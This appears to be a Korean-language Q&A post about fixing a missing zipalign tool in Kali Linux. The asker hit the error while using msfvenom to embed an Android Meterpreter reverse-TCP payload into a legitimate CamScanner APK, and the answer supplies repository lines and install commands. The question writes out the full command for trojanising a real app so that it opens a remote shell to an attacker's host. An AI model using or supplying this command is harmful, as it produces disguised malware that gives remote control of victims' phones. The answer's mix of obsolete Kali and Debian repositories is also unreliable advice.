오류: zipalign을 찾을 수 없습니다. 경로에 없으면 추가하세요.

오류: zipalign을 찾을 수 없습니다. 경로에 없으면 추가하세요.

이 오류는 APK에 페이로드를 삽입하려고 할 때 발생합니다.

root@kali:~# msfvenom -x /root/Documents/CamScanner_5.7.5.20180907.apk  -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=2410 -o camscanner_main.apk
Using APK template: /root/Documents/CamScanner_5.7.5.20180907.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: zipalign not found. If it's not in your PATH, please add it.`

나는 심지어 apt-get install zipalign을 시도했습니다.

root@kali:~# apt-get install zipalign
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package zipalign is not available, but is referred to by another package.
This may mean that the package is missing,   
has been obsoleted, or is only available from another source`

E: Package 'zipalign' has no installation candidate

답변1

수정 사항을 찾았습니다.

저장소에 다음 링크를 추가하세요.

nano /root/etc/apt/sources.list

그리고 이 링크를 붙여넣으세요

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

deb http://old.kali.org/kali sana main non-free contrib

deb http://ftp.de.debian.org/debian wheezy main

다음 명령을 시도해 보세요.

apt-get update 
apt-get install zipalign

관련 정보